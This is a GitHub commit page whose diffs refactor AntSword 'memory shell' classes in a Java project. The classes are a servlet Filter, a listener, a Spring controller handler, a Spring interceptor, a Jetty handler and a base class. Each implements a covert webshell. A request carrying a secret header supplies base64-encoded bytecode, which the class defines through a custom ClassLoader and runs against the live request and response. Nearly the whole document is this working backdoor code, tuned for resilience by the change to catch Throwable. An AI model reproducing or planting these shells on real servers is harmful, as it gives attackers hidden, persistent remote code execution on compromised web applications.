Skip to content

Commit 729e655

Browse files
committed
refactor: catch Throwable
1 parent 460d549 commit 729e655

File tree

68 files changed

+1219
-1448
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

68 files changed

+1219
-1448
lines changed

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSword.java

Lines changed: 13 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -11,11 +11,6 @@ public class AntSword extends ClassLoader {
1111
public static String headerName;
1212
public static String headerValue;
1313

14-
@SuppressWarnings("all")
15-
public Class<?> g(byte[] b) {
16-
return super.defineClass(b, 0, b.length);
17-
}
18-
1914
public AntSword() {
2015
}
2116

@@ -44,24 +39,28 @@ public boolean equals(Object obj) {
4439
}
4540

4641
@SuppressWarnings("all")
47-
public static byte[] base64Decode(String bs) {
42+
public Class<?> g(byte[] b) {
43+
return defineClass(b, 0, b.length);
44+
}
45+
46+
@SuppressWarnings("all")
47+
public static byte[] base64Decode(String bs) throws Exception {
4848
byte[] value = null;
4949
Class<?> base64;
50+
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
5051
try {
51-
base64 = Class.forName("java.util.Base64", false, Thread.currentThread().getContextClassLoader());
52+
base64 = contextClassLoader.loadClass("java.util.Base64");
5253
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
5354
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
5455
} catch (Exception var6) {
55-
try {
56-
base64 = Class.forName("sun.misc.BASE64Decoder", false, Thread.currentThread().getContextClassLoader());
57-
Object decoder = base64.newInstance();
58-
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
59-
} catch (Exception ignored) {
60-
}
56+
base64 = contextClassLoader.loadClass("sun.misc.BASE64Decoder");
57+
Object decoder = base64.newInstance();
58+
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
6159
}
6260
return value;
6361
}
6462

63+
@SuppressWarnings("all")
6564
public Object unwrapRequest(Object request) {
6665
Object internalRequest = request;
6766
while (true) {
@@ -78,6 +77,7 @@ public Object unwrapRequest(Object request) {
7877
}
7978
}
8079

80+
@SuppressWarnings("all")
8181
public Object unwrapResponse(Object response) {
8282
Object internalResponse = response;
8383
while (true) {

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordControllerHandler.java

Lines changed: 12 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -15,47 +15,43 @@ public class AntSwordControllerHandler extends ClassLoader implements Controller
1515
public static String headerName;
1616
public static String headerValue;
1717

18-
@SuppressWarnings("all")
19-
public Class<?> g(byte[] b) {
20-
return super.defineClass(b, 0, b.length);
18+
public AntSwordControllerHandler() {
2119
}
2220

2321
public AntSwordControllerHandler(ClassLoader c) {
2422
super(c);
2523
}
2624

27-
28-
public AntSwordControllerHandler() {
29-
}
30-
3125
public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {
3226
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
3327
try {
3428
byte[] bytes = base64Decode(request.getParameter(pass));
35-
Object instance = (new AntSwordControllerHandler(this.getClass().getClassLoader())).g(bytes).newInstance();
29+
Object instance = (new AntSwordControllerHandler(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
3630
instance.equals(new Object[]{request, response});
37-
} catch (Exception e) {
31+
} catch (Throwable e) {
3832
e.printStackTrace();
3933
}
4034
}
4135
return null;
4236
}
4337

4438
@SuppressWarnings("all")
45-
public static byte[] base64Decode(String bs) {
39+
public Class<?> g(byte[] b) {
40+
return defineClass(b, 0, b.length);
41+
}
42+
43+
@SuppressWarnings("all")
44+
public static byte[] base64Decode(String bs) throws Exception {
4645
byte[] value = null;
4746
Class<?> base64;
4847
try {
4948
base64 = Class.forName("java.util.Base64");
5049
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
5150
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
5251
} catch (Exception var6) {
53-
try {
54-
base64 = Class.forName("sun.misc.BASE64Decoder");
55-
Object decoder = base64.newInstance();
56-
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
57-
} catch (Exception ignored) {
58-
}
52+
base64 = Class.forName("sun.misc.BASE64Decoder");
53+
Object decoder = base64.newInstance();
54+
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
5955
}
6056
return value;
6157
}

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordFilter.java

Lines changed: 15 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -14,11 +14,6 @@ public class AntSwordFilter extends ClassLoader implements Filter {
1414
public static String headerName;
1515
public static String headerValue;
1616

17-
@SuppressWarnings("all")
18-
public Class<?> g(byte[] b) {
19-
return super.defineClass(b, 0, b.length);
20-
}
21-
2217
public AntSwordFilter() {
2318
}
2419

@@ -31,35 +26,37 @@ public AntSwordFilter(ClassLoader c) {
3126
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
3227
HttpServletRequest request = (HttpServletRequest) servletRequest;
3328
HttpServletResponse response = (HttpServletResponse) servletResponse;
34-
3529
try {
36-
if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
30+
if (request.getHeader(this.headerName) != null
31+
&& request.getHeader(this.headerName).contains(this.headerValue)) {
3732
byte[] bytes = base64Decode(request.getParameter(pass));
3833
Object instance = (new AntSwordFilter(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
3934
instance.equals(new Object[]{request, response});
40-
} else {
41-
filterChain.doFilter(servletRequest, servletResponse);
35+
return;
4236
}
43-
} catch (Exception e) {
44-
filterChain.doFilter(servletRequest, servletResponse);
37+
} catch (Throwable e) {
38+
e.printStackTrace();
4539
}
40+
filterChain.doFilter(servletRequest, servletResponse);
4641
}
4742

4843
@SuppressWarnings("all")
49-
public static byte[] base64Decode(String bs) {
44+
public Class<?> g(byte[] b) {
45+
return super.defineClass(b, 0, b.length);
46+
}
47+
48+
@SuppressWarnings("all")
49+
public static byte[] base64Decode(String bs) throws Exception {
5050
byte[] value = null;
5151
Class<?> base64;
5252
try {
5353
base64 = Class.forName("java.util.Base64");
5454
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
5555
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
5656
} catch (Exception var6) {
57-
try {
58-
base64 = Class.forName("sun.misc.BASE64Decoder");
59-
Object decoder = base64.newInstance();
60-
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
61-
} catch (Exception ignored) {
62-
}
57+
base64 = Class.forName("sun.misc.BASE64Decoder");
58+
Object decoder = base64.newInstance();
59+
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
6360
}
6461
return value;
6562
}

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordInterceptor.java

Lines changed: 12 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -15,27 +15,21 @@ public class AntSwordInterceptor extends ClassLoader implements AsyncHandlerInte
1515
public static String headerName;
1616
public static String headerValue;
1717

18-
@SuppressWarnings("all")
19-
public Class<?> g(byte[] b) {
20-
return super.defineClass(b, 0, b.length);
18+
public AntSwordInterceptor() {
2119
}
2220

2321
public AntSwordInterceptor(ClassLoader c) {
2422
super(c);
2523
}
2624

27-
28-
public AntSwordInterceptor() {
29-
}
30-
3125
@Override
3226
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
3327
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
3428
try {
3529
byte[] bytes = base64Decode(request.getParameter(pass));
36-
Object instance = (new AntSwordInterceptor(this.getClass().getClassLoader())).g(bytes).newInstance();
30+
Object instance = (new AntSwordInterceptor(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
3731
instance.equals(new Object[]{request, response});
38-
} catch (Exception e) {
32+
} catch (Throwable e) {
3933
e.printStackTrace();
4034
}
4135
return false;
@@ -44,6 +38,11 @@ public boolean preHandle(HttpServletRequest request, HttpServletResponse respons
4438
}
4539
}
4640

41+
@SuppressWarnings("all")
42+
public Class<?> g(byte[] b) {
43+
return super.defineClass(b, 0, b.length);
44+
}
45+
4746
@Override
4847
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
4948

@@ -55,20 +54,17 @@ public void afterCompletion(HttpServletRequest request, HttpServletResponse resp
5554
}
5655

5756
@SuppressWarnings("all")
58-
public static byte[] base64Decode(String bs) {
57+
public static byte[] base64Decode(String bs) throws Exception {
5958
byte[] value = null;
6059
Class<?> base64;
6160
try {
6261
base64 = Class.forName("java.util.Base64");
6362
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
6463
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
6564
} catch (Exception var6) {
66-
try {
67-
base64 = Class.forName("sun.misc.BASE64Decoder");
68-
Object decoder = base64.newInstance();
69-
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
70-
} catch (Exception ignored) {
71-
}
65+
base64 = Class.forName("sun.misc.BASE64Decoder");
66+
Object decoder = base64.newInstance();
67+
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
7268
}
7369
return value;
7470
}

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordJettyHandler.java

Lines changed: 12 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -9,11 +9,6 @@ public class AntSwordJettyHandler extends ClassLoader {
99
public static String headerName;
1010
public static String headerValue;
1111

12-
@SuppressWarnings("all")
13-
public Class<?> g(byte[] b) {
14-
return super.defineClass(b, 0, b.length);
15-
}
16-
1712
public AntSwordJettyHandler() {
1813
}
1914

@@ -46,13 +41,13 @@ public boolean equals(Object obj) {
4641
try {
4742
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
4843
if (value != null && value.contains(headerValue)) {
49-
if (baseRequest != null) {
50-
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
51-
}
5244
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
5345
byte[] bytes = base64Decode(parameter);
5446
Object instance = (new AntSwordJettyHandler(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
5547
instance.equals(new Object[]{request, response});
48+
if (baseRequest != null) {
49+
baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
50+
}
5651
return true;
5752
}
5853
} catch (Throwable e) {
@@ -62,20 +57,22 @@ public boolean equals(Object obj) {
6257
}
6358

6459
@SuppressWarnings("all")
65-
public static byte[] base64Decode(String bs) {
60+
public Class<?> g(byte[] b) {
61+
return super.defineClass(b, 0, b.length);
62+
}
63+
64+
@SuppressWarnings("all")
65+
public static byte[] base64Decode(String bs) throws Exception {
6666
byte[] value = null;
6767
Class<?> base64;
6868
try {
6969
base64 = Class.forName("java.util.Base64");
7070
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
7171
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
7272
} catch (Exception var6) {
73-
try {
74-
base64 = Class.forName("sun.misc.BASE64Decoder");
75-
Object decoder = base64.newInstance();
76-
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
77-
} catch (Exception ignored) {
78-
}
73+
base64 = Class.forName("sun.misc.BASE64Decoder");
74+
Object decoder = base64.newInstance();
75+
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
7976
}
8077
return value;
8178
}

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordListener.java

Lines changed: 26 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -21,23 +21,25 @@ public AntSwordListener(ClassLoader z) {
2121
super(z);
2222
}
2323

24+
@Override
2425
@SuppressWarnings("all")
25-
public static byte[] base64Decode(String bs) {
26-
byte[] value = null;
27-
Class<?> base64;
26+
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
27+
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
2828
try {
29-
base64 = Class.forName("java.util.Base64");
30-
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
31-
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
32-
} catch (Exception var6) {
33-
try {
34-
base64 = Class.forName("sun.misc.BASE64Decoder");
35-
Object decoder = base64.newInstance();
36-
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
37-
} catch (Exception ignored) {
29+
if (request.getHeader(headerName) != null
30+
&& request.getHeader(headerName).contains(headerValue)) {
31+
HttpServletResponse response = (HttpServletResponse) getResponseFromRequest(request);
32+
byte[] bytes = base64Decode(request.getParameter(pass));
33+
Object instance = (new AntSwordListener(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
34+
instance.equals(new Object[]{request, response});
3835
}
36+
} catch (Throwable e) {
37+
e.printStackTrace();
3938
}
40-
return value;
39+
}
40+
41+
private Object getResponseFromRequest(Object request) throws Exception {
42+
return null;
4143
}
4244

4345
@SuppressWarnings("deprecation")
@@ -49,23 +51,19 @@ public Class<?> g(byte[] cb) {
4951
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
5052
}
5153

52-
@Override
5354
@SuppressWarnings("all")
54-
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
55-
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
55+
public static byte[] base64Decode(String bs) throws Exception {
56+
byte[] value = null;
57+
Class<?> base64;
5658
try {
57-
if (request.getHeader(headerName) != null
58-
&& request.getHeader(headerName).contains(headerValue)) {
59-
HttpServletResponse response = (HttpServletResponse) getResponseFromRequest(request);
60-
byte[] bytes = base64Decode(request.getParameter(pass));
61-
Object instance = (new AntSwordListener(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
62-
instance.equals(new Object[]{request, response});
63-
}
64-
} catch (Exception ignored) {
59+
base64 = Class.forName("java.util.Base64");
60+
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
61+
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
62+
} catch (Exception var6) {
63+
base64 = Class.forName("sun.misc.BASE64Decoder");
64+
Object decoder = base64.newInstance();
65+
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
6566
}
66-
}
67-
68-
private Object getResponseFromRequest(Object request) throws Exception {
69-
return null;
67+
return value;
7068
}
7169
}

0 commit comments

Comments
 (0)